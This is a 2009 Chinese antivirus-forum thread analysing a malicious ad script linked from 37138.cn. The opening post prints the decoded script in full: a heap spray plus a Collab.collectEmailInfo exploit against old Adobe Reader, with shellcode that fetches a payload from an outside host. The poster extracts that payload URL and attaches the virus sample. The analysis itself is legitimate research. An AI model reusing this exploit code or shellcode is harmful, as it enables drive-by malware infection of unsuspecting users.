查看: 2287|回复: 3
收起左侧

[其它] 37138.cn

[复制链接]
花间酒
发表于 2009-6-3 21:50:59 | 显示全部楼层 |阅读模式
Level  0>http://www.37138.cn/Info/Vision/ ... 4209372523377.shtml
Level  1>http://www230.clickeye.cn/common/clickeye.js




Malzilla eval clickeye.js,
var gODadKcArxc4 = new Array();
<kKUP7tchXwK )
<FpYXos2qeOXC ;oQbmzJU2++)
function LM0FZ(HcIrHSj, kKUP7tchXwK)
{
while (HcIrHSj.length*2<kKUP7tchXwK)
{
HcIrHSj += HcIrHSj;
}
HcIrHSj = HcIrHSj.substring(0,kKUP7tchXwK/2);
return HcIrHSj;
}
function dHJstLE4boGqQ()
{
var ei3RrfmL5tFg = 0x0c0c0c0c;
var ndvURCnJ60X0 = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u622F%u6E61%u656E%u6172%u7364%u3830%u632E%u6D6F%u662F%u6D2D%u7869%u752F%u6470%u7461%u2E65%u6870%u3F70%u6469%u343D%u2636%u7073%u3D6C%u0034");
var BhYimRxS = 0x400000;
var x6xEX03qFCOO = ndvURCnJ60X0.length * 2;
var kKUP7tchXwK = BhYimRxS - (x6xEX03qFCOO+0x38);
var HcIrHSj = unescape("%u9090%u9090");
HcIrHSj = LM0FZ(HcIrHSj, kKUP7tchXwK);
var FpYXos2qeOXC = (ei3RrfmL5tFg - 0x400000)/BhYimRxS;
for (var oQbmzJU2=0;oQbmzJU2<FpYXos2qeOXC;oQbmzJU2++)
{
gODadKcArxc4[oQbmzJU2] = HcIrHSj + ndvURCnJ60X0;
}
}
function Dd5mgpsd()
{
var Vn7G4IfSF = app.viewerVersion.toString();
Vn7G4IfSF = Vn7G4IfSF.replace(/\D/g,"");
var Row6gyw = new Array(Vn7G4IfSF.charAt(0),Vn7G4IfSF.charAt(1),Vn7G4IfSF.charAt(2));
if ((Row6gyw[0] == 8 && ((Row6gyw[1] == 1 && Row6gyw[2] < 2) || Row6gyw[1] < 1)) || (Row6gyw[0] == 7 && Row6gyw[1] < 1) || (Row6gyw[0] < 7))
{
dHJstLE4boGqQ();
var sUWToAYa = unescape("%u0c0c%u0c0c");
while(sUWToAYa.length < 44952) sUWToAYa += sUWToAYa;
this.collabStore = Collab.collectEmailInfo(
{
subj: "",msg: sUWToAYa
}
);
}
}
Dd5mgpsd();



REDOCE 把字符转换一下。这里貌似发现了个BUG

Unicode清除 后,开首会乱了。。。

http://bannerads08.com/f-mix/update.php?id=46&spl=4
挑出来的,打开可得病毒


[ 本帖最后由 lunglungyu 于 2009-6-3 21:57 编辑 ]

update.rar

70.56 KB, 下载次数: 40

花间酒
 楼主| 发表于 2009-6-3 22:29:50 | 显示全部楼层
这东东质量低的可怜。。。。
xiaoqiang305
发表于 2009-6-3 22:35:12 | 显示全部楼层
http://www230.clickeye.cn/common/clickeye.js打开后页面里竟是代码 oh my god

[ 本帖最后由 xiaoqiang305 于 2009-6-3 22:38 编辑 ]
未命名.JPG
xiaoqiang305
发表于 2009-6-3 22:57:26 | 显示全部楼层
clickeye.js那个页面用eval换alert之后显示的是  你的那个咋解出来的啊
if(!$cE){var CLICKABLE,CE_DISNum,KEY_CSS_IMG,CE_CORE='http://control.clickeye.com.cn',CE_HOST="http://images.clickeye.com.cn",CE_MONITOR_HOST="http://monitor.clickeye.com.cn",CE_MAX_LENGTH=10000,CE_MIN_SPACE_BETWEEN_WORDS,CE_MAX_KEYWORD_NUM_DISPLAY,CE_STYLE;function ceA(s,k,i,a,c,d,f,g,h,b,e){this.s=s;this.w=k;this.id=i;this.c=a;this.t=c;this.m=d;this.h=f;this.p=g;this.pk=h;this.b=b;this.e=e};function ceE(s,w,a,c,t,m,u,p,b){this.s=s;this.w=w;this.id=a;this.c=c;this.t=t;this.m=m;this.u=u;this.p=p;this.pk=b};function ceSet(s,w,c,b,e){this.s=s;this.w=w;this.set=c;this.b=b;this.e=e};function ceNN(p,a,t,b,m,c){this.p=p;this.pl=a;this.t=t;this.tl=b;this.m=m;this.ml=c};function ceN(t,m,u){this.t=t;this.m=m;this.u=u};function ceT(t,b,d,m,a,e,c,f){this.t=t;this.tl=b;this.ti=d;this.m=m;this.a=a;this.al=e;this.c=c;this.ac=f};function ceD(t,a,m,b,d,c,n,e){this.t=t;this.tl=a;this.m=m;this.ml=b;this.d=d;this.dl=c;this.n=n;this.id=e};function ceB(t,a,m,i){this.t=t;this.a=a;this.m=m;this.i=i};function kwE(e,i){$cE.s(e,i)};function kwC(e,i,j,a){$cE.c(e,i,j,a)};function kwM(){$cE.MoW()};function kwL(){$cE.OuK()};var $cE=new function(){var T=this,d=document,N=null,w=window,u=navigator.userAgent.toLowerCase(),head=d.getElementsByTagName('head')[0],url=d.location.href,corner={'099':{top:[-10,126],left:[0,189],t:[20,-10],l:[-15,20],mT:0},'004':{top:[-22,277],left:[0,270],t:[20,-10],l:[-15,20],mT:4},'020':{top:[-22,277],left:[0,270],t:[20,-10],l:[-15,20],mT:4},'100':{top:[-30,163],left:[0,133],t:[20,-20],l:[-15,10],mT:0},'101':{top:[-30,160],left:[0,133],t:[20,-20],l:[-15,10],mT:0},'103':{top:[-29,163],left:[0,133],t:[20,-20],l:[-15,10],mT:0},'013':{top:[5,143],left:[5,173],t:[-10,15],l:[-30,10],mT:-5},'104':{top:[-10,150],left:[50,300],t:[10,0],l:[-85,10],mT:-5},'097':{top:[-33,195],left:[60,60],t:[20,-25],l:[-85,80],mT:-5},'098':{top:[-20,140],left:[20,60],t:[20,-25],l:[-60,80],mT:-5},'015':{top:[2,193],left:[0,250],t:[-5,-2],l:[-40,55],mT:0},'014':{top:[2,193],left:[0,250],t:[-5,-2],l:[-40,55],mT:0},'016':{top:[2,193],left:[0,250],t:[-5,-2],l:[-40,55],mT:0}},IE=T.IE=u.indexOf("msie")!=-1&&u.indexOf("opera")==-1,IE7=u.indexOf("opera")==-1&&u.indexOf("msie 7")>-1,$S=function(e,s){for(var p in s){e[p]=s[p]}},mo={'014':{news:16036,dils:17118,bai:18756},'016':{news:16049,dils:17120,bai:18491},'015':{news:16042,dils:17119,bai:18490}},isComTmp=function(s){return/014|015|016/.test(s)},tmpImgs={},domReady=IE?function(a){(function(){try{d.documentElement.doScroll("left")}catch(error){setTimeout(arguments.callee,0);return};a()})()}:function(a){d.addEventListener("DOMContentLoaded",a,false)},$=function(e){return typeof e=='string'?document.getElementById(e):e},more={news:'http://news.clickeye.cn/searchnews?key=',dils:'http://www.dilingling.com/search.html?s=info&ozc=1487&ozs=110056&q=',bai:''},adjustWH=function(w,h,a,b){var r={};if(w/h>=a/b){if(w>a){r.w=a;r.h=(h*a)/w}else{r.w=w;r.h=h}}else{if(h>b){r.h=b;r.w=(w*b)/h}else{r.w=w;r.h=h}};return r},nTimer;T.data=T.opt=T.eN=N,T.nodes=[],T.idxs=[];T.news={n:'\u8D44\u8BAF',m:'http://news.clickeye.cn/info.dhtml?key='};T.dils={n:'\u6253\u542c',m:''};T.bai={n:'\u767E\u79D1',m:''};T.dicts={};T.setContent=function(k,t){var a,key=k,type=t,s=$('ceScript'+t);switch(t){case'news':a='http://images.clickeye.com.cn/newsjs/'+escape(k).replace(/%/g,'');nTimer=setTimeout(function(){if(!T.news[key]){var p=T.opt,u='http://images.clickeye.com.cn/data/news.js?t'+(+new Date);T.img(CE_MONITOR_HOST+'/s.gif?t='+(+new Date)+'&adId=21240&webId='+p.webId+'&channelId='+p.channelId+'&key='+encodeURI(k)+'&referer='+T.enc(url)+'&codeId=1&loc=1&pk=');if(IE){$('ceScript'+type).src=u}else{head.removeChild($('ceScript'+type));head.appendChild(T.creElm('script',{src:u,type:'text/javascript',charset:'utf-8',id:'ceScript'+type}))}}},2000);break;case'dils':a='http://images.clickeye.com.cn/dilingling/012/'+escape(k).replace(/%/g,'').toLowerCase()+'.js';setTimeout(function(){if(!T.dils[key]){var u='http://images.clickeye.com.cn/dilingling/012/u5f8bu5e08.js';if(IE){$('ceScript'+type).src=u}else{head.removeChild($('ceScript'+type));head.appendChild(T.creElm('script',{src:u,type:'text/javascript',charset:'utf-8',id:'ceScript'+type}))}}},2000);break;case'dicts':a='http://192.168.1.142:8080/dicsearcher/dic/dicframesearcher.action?key='+T.enc('ADSL');break;case'bai':a='http://wiki.clickeye.cn/baikefuchuang/servlet/bai?key='+T.enc(k);break};if(s){if(IE){s.src=a}else{head.removeChild(s);head.appendChild(T.creElm('script',{src:a,type:'text/javascript',charset:'utf-8',id:'ceScript'+type}))}}else{head.appendChild(T.creElm('script',{src:a,type:'text/javascript',charset:'utf-8',id:'ceScript'+type}))}};T.addContent=function(k,t,n){clearTimeout(nTimer);var i=0,ci,s=[],c=function(u,a){return'onclick="$cE.nc(\''+(a?a+','+mo[T.mId][t]:mo[T.mId][t])+'\',\''+u+'\',\''+k+'\');return false;"'};if(n){T.dicts[k]=n;for(var p in n){s[i++]='<div class="tit_b ">'+p+'</div><div class="line">&nbsp;</div><span style=color:#000>'+n[p]+'</span>'}}else{for(;ci=T[t][k];i++){switch(t){case'news':s=i==0?'<div class="txt" ><input  id=cEinput value='+(T.key||k)+' style="font-size:12px;width:120px;height:15px;padding:2px 0 ;margin:5px 5px;" >'+'<img src="'+CE_HOST+'/images/common2/search.gif" width="64" height="18" style="cursor:pointer;padding:10px 0 0 0;" onclick=window.open("'+more[t]+'"+escape($cE.$(\'cEinput\').value),"") /></div>'+(ci.p?'<table style="width:'+(IE?303:270)+'px;" border="0" cellspacing="0" cellpadding="0"><tr><td rowspan="2" id=ceNewsFirst style=padding:5px;width:90px; >'+(tmpImgs[ci.p]?'<img src="'+ci.p+'" style="width:'+tmpImgs[ci.p].w+'px;height:'+tmpImgs[ci.p].h+'px;" />':'')+'</td><td style="width:200px;" ><a href="#"'+c(ci.tl||ci.u)+' >'+ci.t.slice(0,13).replace(k,'<span style="color:#F90;">'+k+'</span>')+'</a></td>'+'</tr><tr><td style="width:170px;"><span style="text-align:left;color:#666;cursor:pointer;float:right;" '+c(ci.ml)+'>'+ci.m.slice(0,40)+'</span></td></tr></table>':'<a href="#"'+c(ci.tl||ci.u)+' style="margin:0 0 0 10px;">'+ci.t.slice(0,20).replace(k,'<span style="color:#F90;">'+k+'</span>')+'</a>'):'<a href="#"'+c(ci.tl||ci.u)+' style="margin:0 0 0 10px;" >'+ci.t.slice(0,20).replace(k,'<span style="color:#F90;">'+k+'</span>')+'</a>';if(i==0&&ci.p&&!tmpImgs[ci.p]){var b=new Image;b.src=ci.p;b.onload=function(){var r=adjustWH(this.width,this.height,80,80);tmpImgs[this.src]={w:r.w,h:r.h};$('ceNewsFirst').innerHTML='<img src="'+this.src+'" style="width:'+r.w+'px;height:'+r.h+'px;"/>'}};break;case'dils':s='<div class="txt" style="text-align:left;margin:3px 0 0 5px;"><span class="tit" ><img src="'+CE_HOST+'/images/common2/te_01.gif" width="15" height="14" style="margin:0 3px 0 0;" />'+'<a href="#" '+c(ci.tl)+'>'+ci.t.replace(k,'<span class="orange">'+k+'</span>')+'</a></span><br />'+'<a href="#" '+c(ci.ml)+'>'+ci.m.slice(0,30).replace(k,'<span class="orange">'+k+'</span>')+'</a><span class="green"><a href="#" >\u70B9\u51FB\u514D\u8D39\u901A\u8BDD&gt;&gt;</a></span></div>';break;case'bai':s=(i==0?'<div class="cElist4" style="padding:0 0 0 5px;width:298px;">                                                                <div class="cEtxt1" style="float:left;width:280px;" >'+(ci.i!="null"?'<img src="'+ci.i+'" style="cursor:pointer;padding:0 5px 0 0;float:left;" width="80" height="80" '+c(ci.a)+'/>':'')+'<span class="cEtit" style="color:#236FCA;cursor:pointer;font-weight:bold;font-size:14px;" '+c(ci.a)+'  >&middot;'+ci.t.slice(0,15).replace(k,'<span class="orange">'+k+'</span>')+'</span><br /><span>'+ci.m.slice(0,130).replace(k,'<span class="orange">'+k+'</span>')+'</span></div><div style="float:left;width:300px;border-top:1px #999999 solid;height:1px;line-height:1px;margin-bottom:2px;">&nbsp;</div><div class="cEtxt"><span class="cEtit" style="color:#F96411;">\u66F4\u591A\u76F8\u5173\u8BCD\u6761\uFF1A</span><br />':'<nobr class="cEtit" '+c(ci.a)+' style="cursor:pointer;color:#236FCA;" >&middot;'+ci.t+'</nobr><br />')}}}$(t).innerHTML='<div class="list" onscroll=$cE.prE(event);return false;  >'+s.join('')+(t=='bai'?'</div></div><div style="float:right"><a href="http://www.hudong.com?hf=ce&pf=ce" target="_blank">\u6765\u81EA\u4E8E<span class="cEorange">\u4E92\u52A8\u767E\u79D1</span></a>&nbsp;</div>':('</div><div class="list_m4"><div class="more2"><a href="#" onclick=window.open("'+more[t]+(t=='news'||!IE?T.enc(k):k)+'","");return false; >\u66F4\u591A&gt;&gt;</a></div></div>'))};T.err=function(e){};T.prE=function(e){IE?e.cancelBubble=true:e.stopPropagation()};T.tT=function(i,j){var e=T.data;T.eN.innerHTML=e.fn(e,i,j)};T.ding=function(){T.eN.onmouseout=N;return false};T.close=function(){T.eN.onmouseout=T.OuK;T.eN.style.display='none'};T.rE=function(a){var e=a&&a.length>0?(a.length>1?a:a.concat(T.eye[0])):T.eye;for(var i=0,ci,s2='',nc='';ci=e[i++];){nc='onclick="$cE.nc(\''+ci.id+'\',\''+ci.u+'\',\''+ci.w+'\');return false;"';s2+='<div class="img"><a href="#" '+nc+'><img src="'+ci.p+'" border="0" /></a></div><div class="txt"><div class="tit" '+(IE7&&i==2?'style="margin:7px 0 0 0;"':'')+'><a href="#" '+nc+' >'+ci.t+'</a></div><a href="#" '+nc+' >'+ci.m+'</a><br/></div>'};return{c:s2,a:e}};T.$=$;T.OuK=function(n){T.tiH=setTimeout(function(){$S(T.eN.style,{display:'none'});T.eN.innerHTML=''},n||500)};T.MoW=function(){T.tiH&&clearTimeout(T.tiH)};T.creElm=function(n,a){var e=d.createElement(n),k;for(k in a){k=='style'?e[k].cssText=a[k]:e[k]=a[k]}return e};T.a2o=function(s){if(s){var i=s.indexOf("{"),r=0,a;if(i>-1){try{eval("a="+s.slice(i));return{att:a,t:s.slice(0,i)}}catch(e){}}else{return{t:s}}}return 0};T.setSite=function(o){domReady(function(){if(o){var s=o.tag;if(typeof s=="string"){for(var a=s.split('||'),i=0,ci;ci=a[i++];){if(T.elms=T.parse(ci)){break}}!T.elms?(T.elms=T.parse("div{className:'t_msgfont'}")):''}else{s();return}if(s=o.exp){var b=[];for(var a=s.split('||'),f=0,l=a.length,i;f<l;f++){var r=T.a2o(a[f]);if(r){b[f]=r}}T.ex=b}s=N;CLICKABLE=o.clickable||0;CE_MIN_SPACE_BETWEEN_WORDS=o.wordSpace||50;CE_MAX_KEYWORD_NUM_DISPLAY=o.maxWord||15;CE_STYLE=/21tx/i.test(d.location.href)?'paddin
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-17 03:46 , Processed in 0.136298 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表